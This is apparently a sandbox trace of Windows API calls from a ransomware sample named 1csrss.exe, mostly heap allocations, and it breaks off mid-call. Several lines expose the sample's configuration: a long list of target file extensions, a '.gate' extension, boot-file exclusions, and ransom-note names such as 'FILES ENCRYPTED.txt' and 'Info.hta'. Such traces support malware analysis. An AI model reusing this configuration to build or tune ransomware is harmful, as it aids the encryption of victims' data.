(HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bdd0 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bc20 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f31e0 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bbc0 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bbd8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bbf0 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bc08 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bcc8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bc38 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bcf8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63be18 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bc98 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bc50 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63be00 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bdb8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63be30 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63be48 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bc68 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bde8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bd58 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63be90 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63be60 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63be78 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bea8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f32c0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5f31f0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bc80 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bd28 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bcb0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bd10 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bce0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bd40 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bd70 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bd88 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bda0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bec0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bf08 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bed8 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bef0 [0100.775] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x400) returned 0x5f5fd0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bf20 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bf38 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bf50 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bf68 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b0b0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b140 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b1e8 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b098 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b080 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b0c8 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3200 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b050 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b0f8 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b1d0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b248 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b020 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b200 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x63b0e0 [0100.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b110 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b158 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b128 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b038 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b170 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b068 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b188 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b218 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3210 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b260 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b278 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b1a0 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b008 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b1b8 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63aff0 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b230 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b290 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b2a8 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x63afc0 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63afd8 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x63b548 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b530 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b560 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b578 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b4e8 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b3c8 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b4d0 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b470 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b500 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b320 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b590 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b518 [0100.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b5a8 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b368 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b2c0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b2d8 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b380 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b2f0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b3e0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b308 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b3b0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b338 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b4b8 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b410 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63b350 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5c51b0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b398 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b3f8 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b428 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b440 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b458 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b488 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b4a0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cdf0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ce08 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cd00 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cd30 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cd90 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cca0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cdc0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ccd0 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ce50 [0100.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ce20 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ccb8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cd60 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cc28 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63ce98 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63ce38 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cd78 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x63ce68 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cbf8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3220 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ce80 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3470 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cda8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ceb0 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cc40 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cdd8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cc58 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cd48 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cce8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cbc8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cbe0 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cc10 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cc70 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cc88 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63cd18 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cf58 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x63d260 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cf40 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cf70 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cef8 [0100.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cf28 [0100.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cec8 [0100.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63cee0 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x800) returned 0x63d398 [0100.779] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0100.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609728 | out: hHeap=0x5b0000) returned 1 [0100.779] lstrlenW (lpString="") returned 0 [0100.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c640 | out: hHeap=0x5b0000) returned 1 [0100.779] lstrlenW (lpString=".gate") returned 5 [0100.779] lstrlenW (lpString=".gate") returned 5 [0100.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c640 | out: hHeap=0x5b0000) returned 1 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c760, Size=0x20) returned 0x5ee958 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee958, Size=0x40) returned 0x5c9fe8 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c9fe8, Size=0x80) returned 0x5f46b0 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d1d0, Size=0x8) returned 0x63d240 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d240, Size=0x10) returned 0x63c760 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c760, Size=0x20) returned 0x5eebb0 [0100.779] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0100.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f46b0 | out: hHeap=0x5b0000) returned 1 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63cad8, Size=0x20) returned 0x5eea70 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eea70, Size=0x40) returned 0x5ca6f0 [0100.779] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0100.779] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0100.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ca6f0 | out: hHeap=0x5b0000) returned 1 [0100.779] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63cad8, Size=0x20) returned 0x5eeb60 [0100.779] lstrlenW (lpString="Info.hta") returned 8 [0100.780] lstrlenW (lpString="Info.hta") returned 8 [0100.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb60 | out: hHeap=0x5b0000) returned 1 [0100.780] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63dba0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\1csrss.exe")) returned 0x22 [0100.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63dba0 | out: hHeap=0x5b0000) returned 1 [0100.780] lstrlenW (lpString="1csrss.exe") returned 10 [0100.780] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eebb0, Size=0x40) returned 0x5ca6a8 [0100.780] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63ca30, Size=0x20) returned 0x5eeb60 [0100.781] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63ca18, Size=0x20) returned 0x5eebb0 [0100.781] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eebb0, Size=0x40) returned 0x5c9fe8 [0100.781] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c9fe8, Size=0x80) returned 0x5f41e8 [0100.781] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f41e8, Size=0x100) returned 0x5f5fd0 [0100.781] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5fd0 | out: hHeap=0x5b0000) returned 1 [0100.781] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x63dba0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0100.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64dba8 | out: hHeap=0x5b0000) returned 1 [0100.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63dba0 | out: hHeap=0x5b0000) returned 1 [0100.782] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d250, Size=0x8) returned 0x63d290 [0100.782] lstrlenW (lpString="%windir%;") returned 9 [0100.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb60 | out: hHeap=0x5b0000) returned 1 [0100.782] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0100.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62af78 | out: hHeap=0x5b0000) returned 1 [0100.782] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c8e0, Size=0x20) returned 0x5eec78 [0100.782] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eec78, Size=0x40) returned 0x5c9fe8 [0100.782] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c9fe8, Size=0x80) returned 0x5f47c0 [0100.782] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f47c0, Size=0x100) returned 0x5f5fd0 [0100.782] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d240, Size=0x8) returned 0x63d2c0 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d2c0, Size=0x10) returned 0x63c958 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c958, Size=0x20) returned 0x5eebd8 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d210, Size=0x8) returned 0x63d230 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d250, Size=0x8) returned 0x63d2c0 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d210, Size=0x8) returned 0x63d220 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d220, Size=0x10) returned 0x63cb20 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63cb20, Size=0x20) returned 0x5eec00 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d230, Size=0x10) returned 0x63ca78 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d2c0, Size=0x10) returned 0x63c910 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d2c0, Size=0x8) returned 0x63d360 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d350, Size=0x8) returned 0x63d380 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63ca78, Size=0x20) returned 0x5eec28 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c910, Size=0x20) returned 0x5eeb60 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d310, Size=0x8) returned 0x63d210 [0100.783] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0100.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5fd0 | out: hHeap=0x5b0000) returned 1 [0100.783] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63cbb0, Size=0x20) returned 0x5eebb0 [0100.783] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x62af78, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0100.783] lstrlenW (lpString="C:\\") returned 3 [0100.783] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62af78 | out: hHeap=0x5b0000) returned 1 [0100.784] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d220, Size=0x82) returned 0x5f6060 [0100.784] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d320, Size=0x100) returned 0x5f60f0 [0100.784] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f6060, Size=0x104) returned 0x5f6318 [0100.784] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f60f0, Size=0x200) returned 0x609728 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d1f0 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609728 | out: 